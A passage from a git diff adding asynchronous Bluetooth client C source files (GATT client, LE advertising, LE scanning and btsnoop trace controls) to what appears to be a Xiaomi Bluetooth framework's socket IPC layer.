ret_cb(ins, packet->gattc_r.status, data->user_phandle, data->userdata); + free(userdata); +} + +static void gattc_delete_connect_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_gattc_delete_connect_data_t* data = userdata; + bt_socket_async_client_t* priv = ins->priv; + bt_gattc_delete_connect_cb_t ret_cb = (bt_gattc_delete_connect_cb_t)cb; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)data->gattc_remote; + void** user_phandle = gattc_remote->user_phandle; + + bt_list_remove(priv->gattc_remote_list, gattc_remote); + *user_phandle = NULL; + + if (!bt_list_length(priv->gattc_remote_list)) { + bt_list_free(priv->gattc_remote_list); + priv->gattc_remote_list = NULL; + } + + if (!ret_cb) { + free(userdata); + return; + } + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, data->userdata); + free(userdata); + return; + } + + ret_cb(ins, packet->gattc_r.status, data->userdata); + free(userdata); +} + +static void gattc_write_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_gattc_write_cb_t ret_cb = (bt_gattc_write_cb_t)cb; + + HANDLE_BT_ASTNC_CALLBACK(ret_cb, ins, packet, gattc_r, userdata); +} + +bt_status_t bt_gattc_create_connect_async(bt_instance_t* ins, gattc_handle_t* phandle, gattc_callbacks_t* callbacks, + bt_gattc_create_connect_cb_t cb, void* userdata) +{ + bt_gattc_create_connect_data_t* data = NULL; + bt_socket_async_client_t* priv; + bt_message_packet_t packet = { 0 }; + bt_status_t status; + bt_gattc_remote_t* gattc_remote; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + BT_SOCKET_PTR_VALID(cb, BT_STATUS_PARM_INVALID); + + priv = ins->priv; + if (!priv) + return BT_STATUS_IPC_ERROR; + + if (priv->gattc_remote_list == NULL) { + priv->gattc_remote_list = bt_list_new(free); + if (priv->gattc_remote_list == NULL) { + return BT_STATUS_NOMEM; + } + } + + gattc_remote = (bt_gattc_remote_t*)malloc(sizeof(bt_gattc_remote_t)); + if (!gattc_remote) { + status = BT_STATUS_NOMEM; + goto fail; + } + + gattc_remote->ins = ins; + gattc_remote->callbacks = callbacks; + + packet.gattc_pl._bt_gattc_create.cookie = PTR2INT(uint64_t) gattc_remote; + + data = calloc(1, sizeof(bt_gattc_create_connect_data_t)); + data->userdata = userdata; + data->gattc_remote = (void*)gattc_remote; + data->user_phandle = phandle; + + status = bt_socket_client_send_with_reply(ins, &packet, BT_GATT_CLIENT_CREATE_CONNECT, gattc_create_connect_reply, (void*)cb, data); + if (status != BT_STATUS_SUCCESS) + goto fail; + + return BT_STATUS_SUCCESS; + +fail: + if (gattc_remote) { + free(gattc_remote); + } + + if (!bt_list_length(priv->gattc_remote_list)) { + bt_list_free(priv->gattc_remote_list); + priv->gattc_remote_list = NULL; + } + + if (data) + free(data); + + return status; +} + +bt_status_t bt_gattc_delete_connect_async(gattc_handle_t conn_handle, bt_gattc_delete_connect_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_delete_connect_data_t* data; + bt_socket_async_client_t* priv; + bt_instance_t* ins; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + priv = gattc_remote->ins->priv; + if (!priv || !priv->gattc_remote_list) + return BT_STATUS_IPC_ERROR; + + ins = gattc_remote->ins; + packet.gattc_pl._bt_gattc_delete.handle = PTR2INT(uint64_t) gattc_remote->cookie; + + data = calloc(1, sizeof(bt_gattc_delete_connect_data_t)); + data->userdata = userdata; + data->gattc_remote = (void*)gattc_remote; + + return bt_socket_client_send_with_reply(ins, &packet, BT_GATT_CLIENT_DELETE_CONNECT, gattc_delete_connect_reply, (void*)cb, data); +} + +bt_status_t bt_gattc_connect_async(gattc_handle_t conn_handle, bt_address_t* addr, ble_addr_type_t addr_type, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_connect.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_connect.addr_type = addr_type; + memcpy(&packet.gattc_pl._bt_gattc_connect.addr, addr, sizeof(bt_address_t)); + + return bt_socket_client_send_with_reply(gattc_remote->ins, &packet, BT_GATT_CLIENT_CONNECT, gattc_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_gattc_disconnect_async(gattc_handle_t conn_handle, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_disconnect.handle = PTR2INT(uint64_t) gattc_remote->cookie; + + return bt_socket_client_send_with_reply(gattc_remote->ins, &packet, BT_GATT_CLIENT_DISCONNECT, gattc_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_gattc_discover_service_async(gattc_handle_t conn_handle, bt_uuid_t* filter_uuid, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_discover_service.handle = PTR2INT(uint64_t) gattc_remote->cookie; + if (filter_uuid == NULL) + packet.gattc_pl._bt_gattc_discover_service.filter_uuid.type = 0; + else + memcpy(&packet.gattc_pl._bt_gattc_discover_service.filter_uuid, filter_uuid, sizeof(bt_uuid_t)); + + return bt_socket_client_send_with_reply(gattc_remote->ins, &packet, BT_GATT_CLIENT_DISCOVER_SERVICE, gattc_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_gattc_get_attribute_by_handle_async(gattc_handle_t conn_handle, uint16_t attr_handle, bt_gattc_get_attribute_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_get_attr_by_handle.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_get_attr_by_handle.attr_handle = attr_handle; + + return bt_socket_client_send_with_reply(gattc_remote->ins, &packet, BT_GATT_CLIENT_GET_ATTRIBUTE_BY_HANDLE, gattc_get_attribute_reply, (void*)cb, userdata); +} + +bt_status_t bt_gattc_get_attribute_by_uuid_async(gattc_handle_t conn_handle, uint16_t start_handle, uint16_t end_handle, bt_uuid_t* attr_uuid, + bt_gattc_get_attribute_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_get_attr_by_uuid.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_get_attr_by_uuid.start_handle = start_handle; + packet.gattc_pl._bt_gattc_get_attr_by_uuid.end_handle = end_handle; + memcpy(&packet.gattc_pl._bt_gattc_get_attr_by_uuid.attr_uuid, attr_uuid, sizeof(bt_uuid_t)); + + return bt_socket_client_send_with_reply(gattc_remote->ins, &packet, BT_GATT_CLIENT_GET_ATTRIBUTE_BY_UUID, gattc_get_attribute_reply, (void*)cb, userdata); +} + +bt_status_t bt_gattc_read_async(gattc_handle_t conn_handle, uint16_t attr_handle, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_read.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_read.attr_handle = attr_handle; + + return bt_socket_client_send_with_reply(gattc_remote->ins, &packet, BT_GATT_CLIENT_READ, gattc_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_gattc_write_async(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + if (length > sizeof(packet.gattc_pl._bt_gattc_write.value)) + return BT_STATUS_PARM_INVALID; + + packet.gattc_pl._bt_gattc_write.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_write.attr_handle = attr_handle; + packet.gattc_pl._bt_gattc_write.length = length; + memcpy(packet.gattc_pl._bt_gattc_write.value, value, length); + + return bt_socket_client_send_with_reply(gattc_remote->ins, &packet, BT_GATT_CLIENT_WRITE, gattc_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_gattc_write_without_response_async(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length, + bt_gattc_write_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + if (length > sizeof(packet.gattc_pl._bt_gattc_write.value)) + return BT_STATUS_PARM_INVALID; + + packet.gattc_pl._bt_gattc_write.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_write.attr_handle = attr_handle; + packet.gattc_pl._bt_gattc_write.length = length; + memcpy(packet.gattc_pl._bt_gattc_write.value, value, length); + + return bt_socket_client_send_with_reply(gattc_remote->ins, &packet, BT_GATT_CLIENT_WRITE_NR, gattc_write_reply, (void*)cb, userdata); +} + +bt_status_t bt_gattc_subscribe_async(gattc_handle_t conn_handle, uint16_t attr_handle, uint16_t ccc_value, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_subscribe.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_subscribe.attr_handle = attr_handle; + packet.gattc_pl._bt_gattc_subscribe.ccc_value = ccc_value; + + return bt_socket_client_send_with_reply(gattc_remote->ins, &packet, BT_GATT_CLIENT_SUBSCRIBE, gattc_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_gattc_unsubscribe_async(gattc_handle_t conn_handle, uint16_t attr_handle, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_subscribe.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_subscribe.attr_handle = attr_handle; + + return bt_socket_client_send_with_reply(gattc_remote->ins, &packet, BT_GATT_CLIENT_UNSUBSCRIBE, gattc_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_gattc_exchange_mtu_async(gattc_handle_t conn_handle, uint32_t mtu, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_exchange_mtu.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_exchange_mtu.mtu = mtu; + + return bt_socket_client_send_with_reply(gattc_remote->ins, &packet, BT_GATT_CLIENT_EXCHANGE_MTU, gattc_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_gattc_update_connection_parameter_async(gattc_handle_t conn_handle, uint32_t min_interval, uint32_t max_interval, + uint32_t latency, uint32_t timeout, uint32_t min_connection_event_length, + uint32_t max_connection_event_length, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_update_connection_param.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_update_connection_param.min_interval = min_interval; + packet.gattc_pl._bt_gattc_update_connection_param.max_interval = max_interval; + packet.gattc_pl._bt_gattc_update_connection_param.latency = latency; + packet.gattc_pl._bt_gattc_update_connection_param.timeout = timeout; + packet.gattc_pl._bt_gattc_update_connection_param.min_connection_event_length = min_connection_event_length; + packet.gattc_pl._bt_gattc_update_connection_param.max_connection_event_length = max_connection_event_length; + + return bt_socket_client_send_with_reply(gattc_remote->ins, &packet, BT_GATT_CLIENT_UPDATE_CONNECTION_PARAM, gattc_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_gattc_read_phy_async(gattc_handle_t conn_handle, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_phy.handle = PTR2INT(uint64_t) gattc_remote->cookie; + + return bt_socket_client_send_with_reply(gattc_remote->ins, &packet, BT_GATT_CLIENT_READ_PHY, gattc_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_gattc_update_phy_async(gattc_handle_t conn_handle, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_phy.handle = PTR2INT(uint64_t) gattc_remote->cookie; + packet.gattc_pl._bt_gattc_phy.tx_phy = tx_phy; + packet.gattc_pl._bt_gattc_phy.rx_phy = rx_phy; + + return bt_socket_client_send_with_reply(gattc_remote->ins, &packet, BT_GATT_CLIENT_UPDATE_PHY, gattc_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_gattc_read_rssi_async(gattc_handle_t conn_handle, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + bt_gattc_remote_t* gattc_remote = (bt_gattc_remote_t*)conn_handle; + + CHECK_NULL_PTR(gattc_remote); + + packet.gattc_pl._bt_gattc_rssi.handle = PTR2INT(uint64_t) gattc_remote->cookie; + + return bt_socket_client_send_with_reply(gattc_remote->ins, &packet, BT_GATT_CLIENT_READ_RSSI, gattc_status_reply, (void*)cb, userdata); +} diff --git a/framework/socket/async/bt_le_advertiser_async.c b/framework/socket/async/bt_le_advertiser_async.c new file mode 100644 index 0000000000000000000000000000000000000000..04c5adeb5ad0921fbba281dd865135beab6ca7db --- /dev/null +++ b/framework/socket/async/bt_le_advertiser_async.c @@ -0,0 +1,166 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "adv" + +#include <stdlib.h> + +#include "advertising.h" +#include "bluetooth.h" +#include "bt_async.h" +#include "bt_le_advertiser.h" +#include "bt_list.h" +#include "bt_socket.h" +#include "utils/log.h" + +typedef struct { + void* userdata; + void* adv; +} bt_le_start_advertising_data_t; + +static void le_advertiser_status_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* context) +{ + bt_status_cb_t ret_cb = (bt_status_cb_t)cb; + + HANDLE_BT_ASTNC_CALLBACK(ret_cb, ins, packet, adv_r, context); +} + +static void le_advertiser_bool_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_bool_cb_t ret_cb = (bt_bool_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, 0, userdata); + return; + } + + ret_cb(ins, packet->adv_r.status, packet->adv_r.vbool, userdata); +} + +static void le_start_advertising_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_advertiser_remote_t* adv; + bt_status_t status; + bt_le_start_advertising_data_t* data = userdata; + bt_le_start_adv_callback_cb_t ret_cb = (bt_le_start_adv_callback_cb_t)cb; + + adv = (bt_advertiser_remote_t*)data->adv; + + if (!packet) { + status = BT_STATUS_UNHANDLED; + goto error; + } + + if (!packet->adv_r.remote) { + status = packet->adv_r.status; + goto error; + } else { + adv->remote = packet->adv_r.remote; + } + + ret_cb(ins, packet->adv_r.status, data->adv, data->userdata); + free(data); + return; + +error: + data->adv = NULL; + free(adv); + ret_cb(ins, status, data->adv, data->userdata); + free(data); +} + +bt_status_t bt_le_start_advertising_async(bt_instance_t* ins, ble_adv_params_t* params, uint8_t* adv_data, + uint16_t adv_len, uint8_t* scan_rsp_data, uint16_t scan_rsp_len, + advertiser_callback_t* adv_cbs, bt_le_start_adv_callback_cb_t cb, void* userdata) +{ + bt_le_start_advertising_data_t* context; + bt_message_packet_t packet = { 0 }; + bt_status_t status; + bt_advertiser_remote_t* adv; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + BT_SOCKET_PTR_VALID(cb, BT_STATUS_PARM_INVALID); + + adv = malloc(sizeof(*adv)); + if (adv == NULL) + return BT_STATUS_NOMEM; + + adv->ins = ins; + adv->callback = adv_cbs; + packet.adv_pl._bt_le_start_advertising.adver = PTR2INT(uint64_t) adv; + memcpy(&packet.adv_pl._bt_le_start_advertising.params, params, sizeof(*params)); + if ((adv_len && (adv_len > sizeof(packet.adv_pl._bt_le_start_advertising.adv_data))) + || (scan_rsp_len && (scan_rsp_len > sizeof(packet.adv_pl._bt_le_start_advertising.scan_rsp_data)))) { + free(adv); + return BT_STATUS_FAIL; + } + + if (adv_len) + memcpy(packet.adv_pl._bt_le_start_advertising.adv_data, adv_data, adv_len); + packet.adv_pl._bt_le_start_advertising.adv_len = adv_len; + + if (scan_rsp_len) + memcpy(packet.adv_pl._bt_le_start_advertising.scan_rsp_data, scan_rsp_data, scan_rsp_len); + packet.adv_pl._bt_le_start_advertising.scan_rsp_len = scan_rsp_len; + + context = calloc(1, sizeof(bt_le_start_advertising_data_t)); + context->userdata = userdata; + context->adv = (void*)adv; + + status = bt_socket_client_send_with_reply(ins, &packet, BT_LE_START_ADVERTISING, le_start_advertising_reply, cb, context); + + if (status != BT_STATUS_SUCCESS) { + free(adv); + free(context); + return BT_STATUS_FAIL; + } + + return status; +} + +bt_status_t bt_le_stop_advertising_async(bt_instance_t* ins, bt_advertiser_t* adver, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + BT_SOCKET_PTR_VALID(adver, BT_STATUS_FAIL); + + packet.adv_pl._bt_le_stop_advertising.adver = (uint32_t)((bt_advertiser_remote_t*)adver)->remote; + + return bt_socket_client_send_with_reply(ins, &packet, BT_LE_STOP_ADVERTISING, le_advertiser_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_le_stop_advertising_id_async(bt_instance_t* ins, uint8_t adv_id, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adv_pl._bt_le_stop_advertising_id.id = adv_id; + + return bt_socket_client_send_with_reply(ins, &packet, BT_LE_STOP_ADVERTISING_ID, le_advertiser_status_reply, (void*)cb, userdata); +} + +bt_status_t bt_le_advertising_is_supported_async(bt_instance_t* ins, bt_bool_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_LE_ADVERTISING_IS_SUPPORT, le_advertiser_bool_reply, (void*)cb, userdata); +} diff --git a/framework/socket/async/bt_le_scan_async.c b/framework/socket/async/bt_le_scan_async.c new file mode 100644 index 0000000000000000000000000000000000000000..6db3ec16ccfa824685c516b8b93481ce95c498fe --- /dev/null +++ b/framework/socket/async/bt_le_scan_async.c @@ -0,0 +1,217 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "scan" + +#include <stdlib.h> + +#include "bluetooth.h" +#include "bt_async.h" +#include "bt_debug.h" +#include "bt_le_scan.h" +#include "bt_list.h" +#include "bt_socket.h" +#include "scan_manager.h" +#include "utils/log.h" + +typedef struct { + void* userdata; + void* scan; +} bt_le_start_scan_data_t; + +static void le_scan_bool_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_bool_cb_t ret_cb = (bt_bool_cb_t)cb; + + if (!ret_cb) + return; + + if (!packet) { + ret_cb(ins, BT_STATUS_UNHANDLED, 0, userdata); + return; + } + + ret_cb(ins, packet->scan_r.status, packet->scan_r.vbool, userdata); +} + +static void le_start_scan_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_scan_remote_t* scan; + bt_le_start_scan_data_t* data = userdata; + bt_le_start_scan_cb_t ret_cb = (bt_le_start_scan_cb_t)cb; + bt_status_t status; + + if (!packet) { + status = BT_STATUS_UNHANDLED; + goto error; + } + + scan = (bt_scan_remote_t*)data->scan; + if (!packet->scan_r.remote) { + status = BT_STATUS_FAIL; + goto error; + } + + scan->remote = packet->scan_r.remote; + ret_cb(ins, packet->scan_r.status, data->scan, data->userdata); + + free(data); + return; + +error: + ret_cb(ins, status, NULL, data->userdata); + free(data->scan); + free(data); +} + +static void le_stop_scan_reply(bt_instance_t* ins, bt_message_packet_t* packet, void* cb, void* userdata) +{ + bt_le_stop_scan_cb_t ret_cb = (bt_le_stop_scan_cb_t)cb; + + if (!ret_cb) + return; + + ret_cb(ins, userdata); +} + +bt_status_t bt_le_start_scan_async(bt_instance_t* ins, const scanner_callbacks_t* scan_cbs, + bt_le_start_scan_cb_t cb, void* userdata) +{ + bt_le_start_scan_data_t* data; + bt_message_packet_t packet = { 0 }; + bt_status_t status; + bt_scan_remote_t* scan; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + BT_SOCKET_PTR_VALID(cb, BT_STATUS_PARM_INVALID); + + scan = malloc(sizeof(*scan)); + if (scan == NULL) + return BT_STATUS_FAIL; + + scan->ins = ins; + scan->callback = (scanner_callbacks_t*)scan_cbs; + packet.scan_pl._bt_le_start_scan.remote = PTR2INT(uint64_t) scan; + + data = calloc(1, sizeof(bt_le_start_scan_data_t)); + data->userdata = userdata; + data->scan = (void*)scan; + + status = bt_socket_client_send_with_reply(ins, &packet, BT_LE_SCAN_START, le_start_scan_reply, cb, data); + if (status != BT_STATUS_SUCCESS) { + free(scan); + free(data); + return BT_STATUS_FAIL; + } + + return status; +} + +bt_status_t bt_le_start_scan_settings_async(bt_instance_t* ins, ble_scan_settings_t* settings, + const scanner_callbacks_t* scan_cbs, bt_le_start_scan_cb_t cb, void* userdata) +{ + bt_le_start_scan_data_t* data; + bt_message_packet_t packet = { 0 }; + bt_status_t status; + bt_scan_remote_t* scan; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + BT_SOCKET_PTR_VALID(cb, BT_STATUS_PARM_INVALID); + + scan = malloc(sizeof(*scan)); + if (scan == NULL) + return BT_STATUS_FAIL; + + scan->ins = ins; + scan->callback = (scanner_callbacks_t*)scan_cbs; + packet.scan_pl._bt_le_start_scan_settings.remote = PTR2INT(uint64_t) scan; + if (settings) + memcpy(&packet.scan_pl._bt_le_start_scan_settings.settings, settings, sizeof(*settings)); + + data = calloc(1, sizeof(bt_le_start_scan_data_t)); + data->userdata = userdata; + data->scan = (void*)scan; + + status = bt_socket_client_send_with_reply(ins, &packet, BT_LE_SCAN_START_SETTINGS, le_start_scan_reply, cb, data); + if (status != BT_STATUS_SUCCESS) { + free(scan); + free(data); + return BT_STATUS_FAIL; + } + + return status; +} + +bt_status_t bt_le_start_scan_with_filters_async(bt_instance_t* ins, ble_scan_settings_t* settings, + ble_scan_filter_t* filter, const scanner_callbacks_t* scan_cbs, bt_le_start_scan_cb_t cb, void* userdata) +{ + bt_le_start_scan_data_t* data; + bt_message_packet_t packet = { 0 }; + bt_status_t status; + bt_scan_remote_t* scan; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + BT_SOCKET_PTR_VALID(cb, BT_STATUS_PARM_INVALID); + + scan = zalloc(sizeof(*scan)); + if (scan == NULL) + return BT_STATUS_FAIL; + + scan->ins = ins; + scan->callback = (scanner_callbacks_t*)scan_cbs; + packet.scan_pl._bt_le_start_scan_with_filters.remote = PTR2INT(uint64_t) scan; + if (settings) + memcpy(&packet.scan_pl._bt_le_start_scan_with_filters.settings, settings, sizeof(*settings)); + + if (filter) { + memcpy(&packet.scan_pl._bt_le_start_scan_with_filters.filter, filter, sizeof(*filter)); + } + + data = calloc(1, sizeof(bt_le_start_scan_data_t)); + data->userdata = userdata; + data->scan = (void*)scan; + + status = bt_socket_client_send_with_reply(ins, &packet, BT_LE_SCAN_START_WITH_FILTERS, le_start_scan_reply, cb, data); + if (status != BT_STATUS_SUCCESS) { + free(scan); + free(data); + return BT_STATUS_FAIL; + } + + return status; +} + +bt_status_t bt_le_stop_scan_async(bt_instance_t* ins, bt_scanner_t* scanner, bt_le_stop_scan_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + if (!scanner) + return BT_STATUS_FAIL; + + packet.scan_pl._bt_le_stop_scan.remote = ((bt_scan_remote_t*)scanner)->remote; + + return bt_socket_client_send_with_reply(ins, &packet, BT_LE_SCAN_STOP, le_stop_scan_reply, (void*)cb, userdata); +} + +bt_status_t bt_le_scan_is_supported_async(bt_instance_t* ins, bt_bool_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_LE_SCAN_IS_SUPPORT, le_scan_bool_reply, (void*)cb, userdata); +} diff --git a/framework/socket/async/bt_trace_async.c b/framework/socket/async/bt_trace_async.c new file mode 100644 index 0000000000000000000000000000000000000000..7a458d2443cbc431df7088d23dd26d5d1e6fadff --- /dev/null +++ b/framework/socket/async/bt_trace_async.c @@ -0,0 +1,63 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include "bt_async.h" +#include "bt_message.h" +#include "bt_socket.h" +#include "bt_trace.h" +#include "utils/btsnoop_log.h" + +bt_status_t bluetooth_enable_btsnoop_log_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_LOG_ENABLE, NULL, (void*)cb, userdata); +} + +bt_status_t bluetooth_disable_btsnoop_log_async(bt_instance_t* ins, bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + return bt_socket_client_send_with_reply(ins, &packet, BT_LOG_DISABLE, NULL, (void*)cb, userdata); +} + +bt_status_t bluetooth_set_btsnoop_filter_async(bt_instance_t* ins, btsnoop_filter_flag_t filter_flag, + bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.log_pl._bt_log_set_flag.filter_flag = filter_flag; + + return bt_socket_client_send_with_reply(ins, &packet, BT_LOG_SET_FILTER, NULL, (void*)cb, userdata); +} + +bt_status_t bluetooth_remove_btsnoop_filter_async(bt_instance_t* ins, btsnoop_filter_flag_t filter_flag, + bt_status_cb_t cb, void* userdata) +{ + bt_message_packet_t packet = { 0 }; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.log_pl._bt_log_remove_flag.filter_flag = filter_flag; + + return bt_socket_client_send_with_reply(ins, &packet, BT_LOG_REMOVE_FILTER, NULL, (void*)cb, userdata); +} \ No newline at end of file diff --git a/framework/socket/bluetooth.c b/framework/socket/bluetooth.c new file mode 100644 index 0000000000000000000000000000000000000000..cbc39a6eb8597ef5dd77d3fc8e3bea4a0a23555c --- /dev/null +++ b/framework/socket/bluetooth.c @@ -0,0 +1,231 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a 